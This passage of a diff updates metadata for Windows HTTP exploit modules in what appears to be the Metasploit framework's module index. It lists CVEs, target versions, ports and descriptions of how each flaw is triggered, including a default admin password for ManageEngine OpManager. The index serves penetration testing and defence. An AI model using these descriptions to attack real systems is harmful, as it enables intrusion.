"Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169642,16 +174299,14 @@ "exploit_windows/http/ibm_tsm_cad_header": { "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "fullname": "exploit/windows/http/ibm_tsm_cad_header", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-09-24", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).\n By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).\n By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.", "references": [ "CVE-2007-4880", "OSVDB-38161", @@ -169660,16 +174315,12 @@ "platform": "Windows", "arch": "", "rport": 1581, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ibm_tsm_cad_header.rb", "is_install_path": true, "ref_name": "windows/http/ibm_tsm_cad_header", @@ -169677,6 +174328,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169684,9 +174344,7 @@ "exploit_windows/http/icecast_header": { "name": "Icecast Header Overwrite", "fullname": "exploit/windows/http/icecast_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-09-28", "type": "exploit", @@ -169694,7 +174352,7 @@ "spoonm ", "Luigi Auriemma " ], - "description": "This module exploits a buffer overflow in the header parsing of icecast\n versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32\n HTTP headers will cause a write one past the end of a pointer array. On\n win32 this happens to overwrite the saved instruction pointer, and on\n linux (depending on compiler, etc) this seems to generally overwrite\n nothing crucial (read not exploitable).\n\n This exploit uses ExitThread(), this will leave icecast thinking the\n thread is still in use, and the thread counter won't be decremented.\n This means for each time your payload exits, the counter will be left\n incremented, and eventually the threadpool limit will be maxed. So you\n can multihit, but only till you fill the threadpool.", + "description": "This module exploits a buffer overflow in the header parsing of icecast\n versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32\n HTTP headers will cause a write one past the end of a pointer array. On\n win32 this happens to overwrite the saved instruction pointer, and on\n linux (depending on compiler, etc) this seems to generally overwrite\n nothing crucial (read not exploitable).\n\n This exploit uses ExitThread(), this will leave icecast thinking the\n thread is still in use, and the thread counter won't be decremented.\n This means for each time your payload exits, the counter will be left\n incremented, and eventually the threadpool limit will be maxed. So you\n can multihit, but only till you fill the threadpool.", "references": [ "CVE-2004-1561", "OSVDB-10406", @@ -169704,16 +174362,12 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/icecast_header.rb", "is_install_path": true, "ref_name": "windows/http/icecast_header", @@ -169721,6 +174375,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169728,9 +174391,7 @@ "exploit_windows/http/integard_password_bof": { "name": "Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow", "fullname": "exploit/windows/http/integard_password_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-09-07", "type": "exploit", @@ -169769,7 +174430,7 @@ "Integard Home 2.0.0.9021", "Integard Pro 2.2.0.9026" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/integard_password_bof.rb", "is_install_path": true, "ref_name": "windows/http/integard_password_bof", @@ -169777,6 +174438,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169784,16 +174454,14 @@ "exploit_windows/http/intersystems_cache": { "name": "InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow", "fullname": "exploit/windows/http/intersystems_cache", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in InterSystems Cache 2009.1.\n By sending a specially crafted GET request, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in InterSystems Cache 2009.1.\n By sending a specially crafted GET request, an attacker may be able to execute\n arbitrary code.", "references": [ "OSVDB-60549", "BID-37177" @@ -169819,7 +174487,7 @@ "targets": [ "Windows 2000 SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/intersystems_cache.rb", "is_install_path": true, "ref_name": "windows/http/intersystems_cache", @@ -169827,6 +174495,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169834,9 +174511,7 @@ "exploit_windows/http/intrasrv_bof": { "name": "Intrasrv 1.0 Buffer Overflow", "fullname": "exploit/windows/http/intrasrv_bof", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-05-30", "type": "exploit", @@ -169844,7 +174519,7 @@ "xis_one", "PsychoSpy " ], - "description": "This module exploits a boundary condition error in Intrasrv Simple Web\n Server 1.0. The web interface does not validate the boundaries of an\n HTTP request string prior to copying the data to an insufficiently sized\n buffer. Successful exploitation leads to arbitrary remote code execution\n in the context of the application.", + "description": "This module exploits a boundary condition error in Intrasrv Simple Web\n Server 1.0. The web interface does not validate the boundaries of an\n HTTP request string prior to copying the data to an insufficiently sized\n buffer. Successful exploitation leads to arbitrary remote code execution\n in the context of the application.", "references": [ "OSVDB-94097", "EDB-18397", @@ -169853,16 +174528,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "v1.0 - XP / Win7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/intrasrv_bof.rb", "is_install_path": true, "ref_name": "windows/http/intrasrv_bof", @@ -169870,6 +174541,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169877,16 +174557,14 @@ "exploit_windows/http/ipswitch_wug_maincfgret": { "name": "Ipswitch WhatsUp Gold 8.03 Buffer Overflow", "fullname": "exploit/windows/http/ipswitch_wug_maincfgret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-08-25", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By\n posting a long string for the value of 'instancename' in the _maincfgret.cgi\n script an attacker can overflow a buffer and execute arbitrary code on the system.", + "description": "This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By\n posting a long string for the value of 'instancename' in the _maincfgret.cgi\n script an attacker can overflow a buffer and execute arbitrary code on the system.", "references": [ "CVE-2004-0798", "OSVDB-9177", @@ -169913,7 +174591,7 @@ "targets": [ "WhatsUP Gold 8.03 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb", "is_install_path": true, "ref_name": "windows/http/ipswitch_wug_maincfgret", @@ -169921,6 +174599,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169928,9 +174615,7 @@ "exploit_windows/http/ivanti_avalanche_filestoreconfig_upload": { "name": "Ivanti Avalanche FileStoreConfig File Upload", "fullname": "exploit/windows/http/ivanti_avalanche_filestoreconfig_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-24", "type": "exploit", @@ -169991,9 +174676,7 @@ "exploit_windows/http/ivanti_epm_recordgoodapp_sqli_rce": { "name": "Ivanti EPM RecordGoodApp SQLi RCE", "fullname": "exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-05-24", "type": "exploit", @@ -170055,9 +174738,7 @@ "exploit_windows/http/jira_collector_traversal": { "name": "JIRA Issues Collector Directory Traversal", "fullname": "exploit/windows/http/jira_collector_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-26", "type": "exploit", @@ -170065,7 +174746,7 @@ "Philippe Arteau", "juan vazquez " ], - "description": "This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists\n in the issues collector code, while handling attachments provided by the user. It can be\n exploited in Windows environments to get remote code execution. This module has been tested\n successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.", + "description": "This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists\n in the issues collector code, while handling attachments provided by the user. It can be\n exploited in Windows environments to get remote code execution. This module has been tested\n successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.", "references": [ "CVE-2014-2314", "OSVDB-103807", @@ -170094,7 +174775,7 @@ "targets": [ "Jira 6.0.3 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/jira_collector_traversal.rb", "is_install_path": true, "ref_name": "windows/http/jira_collector_traversal", @@ -170102,6 +174783,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -170109,16 +174799,14 @@ "exploit_windows/http/kaseya_uploader": { "name": "Kaseya VSA uploader.aspx Arbitrary File Upload", "fullname": "exploit/windows/http/kaseya_uploader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-23", "type": "exploit", "author": [ "Pedro Ribeiro " ], - "description": "This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions\n between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary\n directory leading to arbitrary code execution with IUSR privileges. This module has been\n tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.", + "description": "This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions\n between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary\n directory leading to arbitrary code execution with IUSR privileges. This module has been\n tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.", "references": [ "CVE-2015-6922", "ZDI-15-449", @@ -170146,7 +174834,7 @@ "targets": [ "Kaseya VSA v7 to v9.1" ], - "mod_time": "2022-01-13 18:47:11 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/kaseya_uploader.rb", "is_install_path": true, "ref_name": "windows/http/kaseya_uploader", @@ -170154,6 +174842,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -170161,16 +174858,14 @@ "exploit_windows/http/kaseya_uploadimage_file_upload": { "name": "Kaseya uploadImage Arbitrary File Upload", "fullname": "exploit/windows/http/kaseya_uploadimage_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-11", "type": "exploit", "author": [ "Thomas Hibbert " ], - "description": "This module exploits an arbitrary file upload vulnerability found in Kaseya versions below\n 6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous\n authentication, leading to arbitrary code execution with IUSR privileges.", + "description": "This module exploits an arbitrary file upload vulnerability found in Kaseya versions below\n 6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous\n authentication, leading to arbitrary code execution with IUSR privileges.", "references": [ "OSVDB-99984", "BID-63782", @@ -170198,7 +174893,7 @@ "targets": [ "Kaseya KServer / Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb", "is_install_path": true, "ref_name": "windows/http/kaseya_uploadimage_file_upload", @@ -170206,6 +174901,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -170213,9 +174917,7 @@ "exploit_windows/http/kentico_staging_syncserver": { "name": "Kentico CMS Staging SyncServer Unserialize Remote Command Execution", "fullname": "exploit/windows/http/kentico_staging_syncserver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-15", "type": "exploit", @@ -170278,9 +174980,7 @@ "exploit_windows/http/kolibri_http": { "name": "Kolibri HTTP Server HEAD Buffer Overflow", "fullname": "exploit/windows/http/kolibri_http", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-12-26", "type": "exploit", @@ -170318,7 +175018,7 @@ "Windows XP sp3", "Windows Server 2003 sp2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/kolibri_http.rb", "is_install_path": true, "ref_name": "windows/http/kolibri_http", @@ -170326,6 +175026,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -170333,9 +175042,7 @@ "exploit_windows/http/landesk_thinkmanagement_upload_asp": { "name": "LANDesk Lenovo ThinkManagement Console Remote Command Execution", "fullname": "exploit/windows/http/landesk_thinkmanagement_upload_asp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-15", "type": "exploit", @@ -170374,24 +175081,21 @@ "targets": [ "LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb", "is_install_path": true, "ref_name": "windows/http/landesk_thinkmanagement_upload_asp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/lexmark_markvision_gfd_upload": { "name": "Lexmark MarkVision Enterprise Arbitrary File Upload", "fullname": "exploit/windows/http/lexmark_markvision_gfd_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-09", "type": "exploit", @@ -170399,7 +175103,7 @@ "Andrea Micalizzi", "juan vazquez " ], - "description": "This module exploits a code execution flaw in Lexmark MarkVision Enterprise before version 2.1.\n A directory traversal vulnerability in the GfdFileUploadServlet servlet allows an unauthenticated\n attacker to upload arbitrary files, including arbitrary JSP code. This module has been\n tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.", + "description": "This module exploits a code execution flaw in Lexmark MarkVision Enterprise before version 2.1.\n A directory traversal vulnerability in the GfdFileUploadServlet servlet allows an unauthenticated\n attacker to upload arbitrary files, including arbitrary JSP code. This module has been\n tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.", "references": [ "CVE-2014-8741", "ZDI-14-410", @@ -170426,7 +175130,7 @@ "targets": [ "Lexmark Markvision Enterprise 2.0" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb", "is_install_path": true, "ref_name": "windows/http/lexmark_markvision_gfd_upload", @@ -170434,6 +175138,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -170441,9 +175154,7 @@ "exploit_windows/http/lg_simple_editor_rce": { "name": "LG Simple Editor Remote Code Execution", "fullname": "exploit/windows/http/lg_simple_editor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-24", "type": "exploit", @@ -170501,9 +175212,7 @@ "exploit_windows/http/lg_simple_editor_rce_uploadvideo": { "name": "LG Simple Editor Command Injection (CVE-2023-40504)", "fullname": "exploit/windows/http/lg_simple_editor_rce_uploadvideo", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-04", "type": "exploit", @@ -170558,19 +175267,77 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/magicinfo_traversal": { + "name": "Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)", + "fullname": "exploit/windows/http/magicinfo_traversal", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-04-30", + "type": "exploit", + "author": [ + "Michael Heinzl", + "SSD Secure Disclosure" + ], + "description": "Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.\n Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,\n which can be queried by an unauthenticated user to upload a JSP shell.\n By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\\SYSTEM.", + "references": [ + "URL-https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/", + "URL-https://security.samsungtv.com/securityUpdates", + "CVE-2024-7399" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 7002, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Java Server Page" + ], + "mod_time": "2025-06-23 19:38:36 +0000", + "path": "/modules/exploits/windows/http/magicinfo_traversal.rb", + "is_install_path": true, + "ref_name": "windows/http/magicinfo_traversal", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_windows/http/mailenable_auth_header": { "name": "MailEnable Authorization Header Buffer Overflow", "fullname": "exploit/windows/http/mailenable_auth_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-04-24", "type": "exploit", "author": [ "David Maciejak " ], - "description": "This module exploits a remote buffer overflow in the MailEnable web service.\n The vulnerability is triggered when a large value is placed into the Authorization\n header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and\n MailEnable Professional versions prior to 1.55 are affected.", + "description": "This module exploits a remote buffer overflow in the MailEnable web service.\n The vulnerability is triggered when a large value is placed into the Authorization\n header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and\n MailEnable Professional versions prior to 1.55 are affected.", "references": [ "CVE-2005-1348", "OSVDB-15913", @@ -170599,7 +175366,7 @@ "targets": [ "MEHTTPS.exe Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/mailenable_auth_header.rb", "is_install_path": true, "ref_name": "windows/http/mailenable_auth_header", @@ -170607,6 +175374,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -170614,16 +175390,14 @@ "exploit_windows/http/manage_engine_opmanager_rce": { "name": "ManageEngine OpManager Remote Code Execution", "fullname": "exploit/windows/http/manage_engine_opmanager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-09-14", "type": "exploit", "author": [ "xistence " ], - "description": "This module exploits a default credential vulnerability in ManageEngine OpManager, where a\n default hidden account \"IntegrationUser\" with administrator privileges exists. The account\n has a default password of \"plugin\" which cannot be reset through the user interface. By\n log-in and abusing the default administrator's SQL query functionality, it's possible to\n write a WAR payload to disk and trigger an automatic deployment of this payload. This\n module has been tested successfully on OpManager v11.0 and v11.4-v11.6 for Windows.", + "description": "This module exploits a default credential vulnerability in ManageEngine OpManager, where a\n default hidden account \"IntegrationUser\" with administrator privileges exists. The account\n has a default password of \"plugin\" which cannot be reset through the user interface. By\n log-in and abusing the default administrator's SQL query functionality, it's possible to\n write a WAR payload to disk and trigger an automatic deployment of this payload. This\n module has been tested successfully on OpManager v11.0 and v11.4-v11.6 for Windows.", "references": [ "EDB-38174", "CVE-2015-7765", @@ -170652,7 +175426,7 @@ "targets": [ "ManageEngine OpManager <= v11.6" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/manage_engine_opmanager_rce.rb", "is_install_path": true, "ref_name": "windows/http/manage_engine_opmanager_rce", @@ -170660,6 +175434,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -170667,9 +175450,7 @@ "exploit_windows/http/manageengine_adaudit_plus_authenticated_rce": { "name": "ManageEngine ADAudit Plus Authenticated File Write RCE", "fullname": "exploit/windows/http/manageengine_adaudit_plus_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-10-01", "type": "exploit", @@ -170729,9 +175510,7 @@ "exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": { "name": "ManageEngine ADAudit Plus CVE-2022-28219", "fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-29", "type": "exploit", @@ -170791,9 +175570,7 @@ "exploit_windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection": { "name": "ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection", "fullname": "exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-12", "type": "exploit", @@ -170856,9 +175633,7 @@ "exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": { "name": "ManageEngine ADSelfService Plus CVE-2021-40539", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-07", "type": "exploit", @@ -170922,9 +175697,7 @@ "exploit_windows/http/manageengine_adselfservice_plus_cve_2022_28810": { "name": "ManageEngine ADSelfService Plus Custom Script Execution", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-09", "type": "exploit", @@ -170985,16 +175758,14 @@ "exploit_windows/http/manageengine_adshacluster_rce": { "name": "ManageEngine Exchange Reporter Plus Unauthenticated RCE", "fullname": "exploit/windows/http/manageengine_adshacluster_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-28", "type": "exploit", "author": [ "Kacper Szurek " ], - "description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet", + "description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet", "references": [ "URL-https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/" ], @@ -171019,7 +175790,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-10-07 01:59:52 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/manageengine_adshacluster_rce.rb", "is_install_path": true, "ref_name": "windows/http/manageengine_adshacluster_rce", @@ -171027,6 +175798,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171034,16 +175814,14 @@ "exploit_windows/http/manageengine_appmanager_exec": { "name": "ManageEngine Applications Manager Remote Code Execution", "fullname": "exploit/windows/http/manageengine_appmanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-07", "type": "exploit", "author": [ "Mehmet Ince " ], - "description": "This module exploits command injection vulnerability in the ManageEngine Application Manager product.\n An unauthenticated user can execute a operating system command under the context of privileged user.\n\n Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials\n by accessing given system. This endpoint calls a several internal classes and then executes powershell script\n without validating user supplied parameter when the given system is OfficeSharePointServer.", + "description": "This module exploits command injection vulnerability in the ManageEngine Application Manager product.\n An unauthenticated user can execute a operating system command under the context of privileged user.\n\n Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials\n by accessing given system. This endpoint calls a several internal classes and then executes powershell script\n without validating user supplied parameter when the given system is OfficeSharePointServer.", "references": [ "CVE-2018-7890", "BID-103358", @@ -171071,7 +175849,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/manageengine_appmanager_exec.rb", "is_install_path": true, "ref_name": "windows/http/manageengine_appmanager_exec", @@ -171079,6 +175857,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171086,9 +175873,7 @@ "exploit_windows/http/manageengine_apps_mngr": { "name": "ManageEngine Applications Manager Authenticated Code Execution", "fullname": "exploit/windows/http/manageengine_apps_mngr", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-04-08", "type": "exploit", @@ -171120,31 +175905,28 @@ "targets": [ "Automatic" ], - "mod_time": "2018-08-20 18:08:19 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/manageengine_apps_mngr.rb", "is_install_path": true, "ref_name": "windows/http/manageengine_apps_mngr", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/manageengine_connectionid_write": { "name": "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", "fullname": "exploit/windows/http/manageengine_connectionid_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-14", "type": "exploit", "author": [ "sinn3r " ], - "description": "This module exploits a vulnerability found in ManageEngine Desktop Central 9. When\n uploading a 7z file, the FileUploadServlet class does not check the user-controlled\n ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to\n inject a null bye at the end of the value to create a malicious file with an arbitrary\n file type, and then place it under a directory that allows server-side scripts to run,\n which results in remote code execution under the context of SYSTEM.\n\n Please note that by default, some ManageEngine Desktop Central versions run on port 8020,\n but older ones run on port 8040. Also, using this exploit will leave debugging information\n produced by FileUploadServlet in file rdslog0.txt.\n\n This exploit was successfully tested on version 9, build 90109 and build 91084.", + "description": "This module exploits a vulnerability found in ManageEngine Desktop Central 9. When\n uploading a 7z file, the FileUploadServlet class does not check the user-controlled\n ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to\n inject a null bye at the end of the value to create a malicious file with an arbitrary\n file type, and then place it under a directory that allows server-side scripts to run,\n which results in remote code execution under the context of SYSTEM.\n\n Please note that by default, some ManageEngine Desktop Central versions run on port 8020,\n but older ones run on port 8040. Also, using this exploit will leave debugging information\n produced by FileUploadServlet in file rdslog0.txt.\n\n This exploit was successfully tested on version 9, build 90109 and build 91084.", "references": [ "URL-https://www.rapid7.com/blog/post/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249", "CVE-2015-8249" @@ -171170,7 +175952,7 @@ "targets": [ "ManageEngine Desktop Central 9 on Windows" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/manageengine_connectionid_write.rb", "is_install_path": true, "ref_name": "windows/http/manageengine_connectionid_write", @@ -171178,6 +175960,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -171185,9 +175976,7 